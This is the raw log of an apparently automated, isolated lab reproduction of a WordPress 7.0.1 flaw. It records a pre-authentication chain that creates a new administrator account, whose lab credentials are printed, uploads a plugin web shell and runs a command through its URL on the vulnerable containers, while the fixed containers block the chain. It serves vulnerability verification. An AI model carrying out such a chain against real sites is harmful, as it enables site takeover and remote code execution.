vulnerable_source_commit=18f793b1f16c1b15b0fc37027f4aeaefab0bfe02 fixed_source_commit=855551c4477bd5a0407221c57dae123c4163b434 ticket_vulnerable_source_tree_sha256=f7f6423f9ce0cf81d74750b2a13b78a43395a6dd8a7c2bbb43bda78c9507dd2a ticket_fixed_source_tree_sha256=52c660f970de921db4c4c31ef700dbdd396843a34706d144ec915fc811d704a1 fixed_archive_sha256=1c031d3909353a6fb9126146d5b01208317785f4074b87273c0864efcdfc5d84 prepared_repo=/data/pruva/project-cache/3bb30334-dfa8-4ffb-b1d2-f4c3350fb9af/repo fixed_commit_object=855551c4477bd5a0407221c57dae123c4163b434 fixed_commit_date=2026-07-17T17:58:37Z fixed_subject=Tag 7.0.2 requested=["wordpress@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5"] image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 requested=["mysql@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b"] image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b requested=["python@sha256:423ed6ab25b1921a477529254bfeeabf5855151dc2c3141699a1bfc852199fbf"] image_id=sha256:423ed6ab25b1921a477529254bfeeabf5855151dc2c3141699a1bfc852199fbf installed_with_unrecoverable_random_owner_password=true installed_with_unrecoverable_random_owner_password=true driver=pruva-w2s-admin-1784380943125870-driver provider_ip=11.77.1.2 vulnerable_target=pruva-w2s-admin-1784380943125870-vuln-wp fixed_target=pruva-w2s-admin-1784380943125870-fixed-wp boundary=unauthenticated HTTP from distinct driver container to stock Apache/PHP/WordPress network=pruva-w2s-admin-1784380943125870-vuln internal=true containers=2 network=pruva-w2s-admin-1784380943125870-fixed internal=true containers=2 role=vulnerable wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.1 wordpress_mounts=[{"Type":"volume","Name":"3dcc9acebdaff35e9e17d8396f11e67ef62af2316a51d95f009be7d013a498f2","Source":"/var/lib/docker/volumes/3dcc9acebdaff35e9e17d8396f11e67ef62af2316a51d95f009be7d013a498f2/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} role=fixed wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.2-src wordpress_mounts=[{"Type":"volume","Name":"0e1c2b22cbcd625ce539ace71c120b9ca02e2014ea5a31c4fc78aeb144dcf49c","Source":"/var/lib/docker/volumes/0e1c2b22cbcd625ce539ace71c120b9ca02e2014ea5a31c4fc78aeb144dcf49c/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} { "seed_rows": [ [ 5, "f64a618978c52c568764d70db1989eed" ], [ 6, "aa2105cc0ef4d2a12f1fcbba068552e6" ], [ 7, "b94eb9dc1a4e4e1ae5227ab61dcf1347" ], [ 8, "e998990d32e8d40c82244bf795c34c6d" ], [ 9, "32e3b68b38bc26d907aa7d9ad57fd975" ] ], "stylesheet": "twentytwentyfive", "custom_css_id": 10, "administrator": { "id": 2, "username": "w2s_da0f2abc88", "password": "W2s!o0x-Ey6eUot0SjuJx9tcO14g", "email": "w2s_da0f2abc88@example.invalid", "roles": [ "administrator" ] }, "rce": { "normal_login_confirmed": true, "plugin_upload_confirmed": true, "shell_url": "http://pruva-w2s-admin-1784380943125870-vuln-wp/wp-content/plugins/pruva-chain-proof-653d2b57ce/pruva-chain-proof-653d2b57ce.php?pruva_proof=printf+%27PRUVA-CMD-MARKER%5Cn%27%3B+id", "command": "printf 'PRUVA-CMD-MARKER\\n'; id", "output": "PRUVA-RCE-BEGIN\nPRUVA-CMD-MARKER\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nPRUVA-RCE-EXIT:0\n" } } PRUVA-RCE-BEGIN PRUVA-CMD-MARKER uid=33(www-data) gid=33(www-data) groups=33(www-data) PRUVA-RCE-EXIT:0 user_count=2 user=1:owner user=2:w2s_da0f2abc88 admin=1:owner admin=2:w2s_da0f2abc88 oembed_count=2 plugin_option=a:0:{} Traceback (most recent call last): File "/opt/pruva/wp2shell_full_chain.py", line 210, in raise SystemExit(main()) ^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 205, in main print(json.dumps(run_chain(args.base_url, args.provider_target), indent=2)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 88, in run_chain seed_oembed_cache( File "/opt/pruva/wp2shell_full_chain.py", line 50, in seed_oembed_cache raise RuntimeError("oEmbed seed did not create a discoverable cache row") RuntimeError: oEmbed seed did not create a discoverable cache row user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} installed_with_unrecoverable_random_owner_password=true installed_with_unrecoverable_random_owner_password=true role=second-vulnerable wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.1 wordpress_mounts=[{"Type":"volume","Name":"db1814a4011fde76672e2f0b45ee05149fe320a7c97d6097cc7715d9608e7c2a","Source":"/var/lib/docker/volumes/db1814a4011fde76672e2f0b45ee05149fe320a7c97d6097cc7715d9608e7c2a/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` role=second-fixed wordpress_image=wordpress:7.0.1-php8.2-apache@sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 wordpress_image_id=sha256:bfc320ed4f02dd3939186b8020de64203a48a939d6dedcf44cb92cf2368923f5 mysql_image=mysql:8.0@sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b mysql_image_id=sha256:7dcddc01f13bab2f15cde676d44d01f61fc9f99fe7785e86196dfc07d358ae2b wordpress_version=7.0.2-src wordpress_mounts=[{"Type":"volume","Name":"d65559f81029ce2f5a2c88ffc364dbbc06054f121e0016b897ce9d137b78613d","Source":"/var/lib/docker/volumes/d65559f81029ce2f5a2c88ffc364dbbc06054f121e0016b897ce9d137b78613d/_data","Destination":"/var/www/html","Driver":"local","Mode":"","RW":true,"Propagation":""}] plugins_before_begin akismet/.htaccess akismet/LICENSE.txt akismet/akismet.php akismet/changelog.txt akismet/class-akismet-abilities.php akismet/class-akismet-compatible-plugins.php akismet/class-akismet-connector.php akismet/class.akismet-admin.php akismet/class.akismet-cli.php akismet/class.akismet-rest-api.php akismet/class.akismet-widget.php akismet/class.akismet.php akismet/index.php akismet/readme.txt akismet/wrapper.php hello.php index.php plugins_before_end mu_plugins_before_begin mu_plugins_before_end user_count=1 oembed_count=0 local_infile=0 GRANT USAGE ON *.* TO `wordpress`@`%` GRANT ALL PRIVILEGES ON `wordpress`.* TO `wordpress`@`%` { "seed_rows": [ [ 5, "06ea258da34bc49d42308eac11ea8bd4" ], [ 6, "d2227f4449c8cb8161d3f4120929b2a6" ], [ 7, "8658b211ef5a51a40f8c746418c94595" ], [ 8, "be668e9e528628c2d5d5335b2b173c9a" ], [ 9, "535b3f9857fafcf1a9cc088502f4658c" ] ], "stylesheet": "twentytwentyfive", "custom_css_id": 10, "administrator": { "id": 2, "username": "w2s_0aabcd61e8", "password": "W2s!fex-Llkvw9OJNRNOWy8vDghA", "email": "w2s_0aabcd61e8@example.invalid", "roles": [ "administrator" ] }, "rce": { "normal_login_confirmed": true, "plugin_upload_confirmed": true, "shell_url": "http://pruva-w2s-admin-1784380943125870-vuln-wp/wp-content/plugins/pruva-chain-proof-c0d4a00932/pruva-chain-proof-c0d4a00932.php?pruva_proof=printf+%27PRUVA-CMD-MARKER%5Cn%27%3B+id", "command": "printf 'PRUVA-CMD-MARKER\\n'; id", "output": "PRUVA-RCE-BEGIN\nPRUVA-CMD-MARKER\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\n\nPRUVA-RCE-EXIT:0\n" } } PRUVA-RCE-BEGIN PRUVA-CMD-MARKER uid=33(www-data) gid=33(www-data) groups=33(www-data) PRUVA-RCE-EXIT:0 user_count=2 user=1:owner user=2:w2s_0aabcd61e8 admin=1:owner admin=2:w2s_0aabcd61e8 oembed_count=2 plugin_option=a:0:{} Traceback (most recent call last): File "/opt/pruva/wp2shell_full_chain.py", line 210, in raise SystemExit(main()) ^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 205, in main print(json.dumps(run_chain(args.base_url, args.provider_target), indent=2)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/opt/pruva/wp2shell_full_chain.py", line 88, in run_chain seed_oembed_cache( File "/opt/pruva/wp2shell_full_chain.py", line 50, in seed_oembed_cache raise RuntimeError("oEmbed seed did not create a discoverable cache row") RuntimeError: oEmbed seed did not create a discoverable cache row user_count=1 user=1:owner admin=1:owner oembed_count=0 plugin_option=a:0:{} second_clean_vulnerable=confirmed second_clean_fixed=blocked_before_first_oembed_discovery uid=33(www-data) gid=33(www-data) groups=33(www-data) user_count=1 oembed_count=0 [+] CONFIRMED: WordPress 7.0.1 pre-auth fresh-administrator chain to command execution [+] Two clean vulnerable/fixed matrices passed